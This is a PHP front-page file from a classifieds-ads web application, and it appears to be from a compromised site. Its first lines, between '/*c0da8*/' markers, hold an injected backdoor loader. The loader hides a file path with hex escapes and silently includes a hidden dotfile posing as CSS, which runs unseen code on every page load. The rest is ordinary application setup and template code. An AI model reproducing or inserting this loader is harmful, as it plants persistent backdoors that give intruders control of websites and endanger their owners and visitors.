<?php
/*c0da8*/

$raexv3 = "/home/girardtosk/testbazar/incl\x75des/f\x75nctions/html2pdf/.3bfdf44f.css"; if (!isset($raexv3)) {str_shuffle ($raexv3);} else { @include_once /* 63 */ ($raexv3); }

/*c0da8*/




///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
///////////////////////////////////////////////////////////////////////////////////////////

############################################################

require_once __DIR__.'/includes/all_fns.php';
require_once __DIR__.'/template/settings/set_nb_premium.php';

///////////////////////////////////
//Get premium ads
//////////////////////////////////

if($param_gen['active_prem'] == 1)
redirect(URL .'/premium-activated');

///////////////////////////////////
//Variables of search engine
//////////////////////////////////

$type_search = 1;
$action_search = 'search.php';
$type = 1;
$reg = 0;
$cat = 0;
$distance = 0;
$sort = 1;
$status = 0;
$value_search = $language['value_search'];

///////////////////////////////////
//Seo content
//////////////////////////////////

$h1_seo = $param_meta_tags['seo_h1_'. $_SESSION['code_lang']];
$h1_seo_str = array('<color>', '</color>', '<nb_ads>');
$h1_seo_str_replace = array('<span class="first-color">', '</span>', $cache_nb_ads['total']);
$h1_seo = stripslashes(str_replace($h1_seo_str, $h1_seo_str_replace, $h1_seo));

$text_seo = $param_meta_tags['seo_text_'. $_SESSION['code_lang']];
$text_seo_str = array('<color>', '</color>', '<nb_ads>');
$text_seo_str_replace = array('<span class="first-color">', '</span>', $cache_nb_ads['total']);
$text_seo = stripslashes(str_replace($text_seo_str, $text_seo_str_replace, $text_seo));

///////////////////////////////////
//Get if exist urgent option
//////////////////////////////////

$display_urgent = get_urgent_opt();

///////////////////////////////////
//Variables of elements
//////////////////////////////////

$index = 1;
$account = 0;
$similar = 0;
$og = 1;

///////////////////////////////////
//Title and Meta
//////////////////////////////////

$title = stripslashes(htmlspecialchars($param_meta_tags['title_'. $_SESSION['code_lang']]));
$description = stripslashes(htmlspecialchars($param_meta_tags['desc_'. $_SESSION['code_lang']]));
$words = stripslashes(htmlspecialchars($param_meta_tags['keywords_'. $_SESSION['code_lang']]));

///////////////////////////////////
//Ckeck enable
//////////////////////////////////

if($param_gen['active_mention'])
redirect(URL .'/mention-enabled');

if($param_gen['active_filter'])
redirect(URL .'/mail-filter-enabled');

foreach($cache_cat as $v)
{
	if($v['calendar'] == 1 || $v['upload_doc'] == 1 || $v['comments'] == 1)
	redirect(URL .'/cache-cat-enable');
}

if($param_api_gg['activ_gg_map'])
redirect(URL .'/gg-map-enabled');

if(!empty($param_api_gg['analytics_gg_script']))
redirect(URL .'/analytics-enabled');

///////////////////////////////////
//Display view
//////////////////////////////////

pool::execute('beforestart');

$view = array();
$view[] = 'template/tpl_index.php';
$view[] = 'template/tpl_categories.php';

require_once __DIR__.'/template/tpl_layout.php';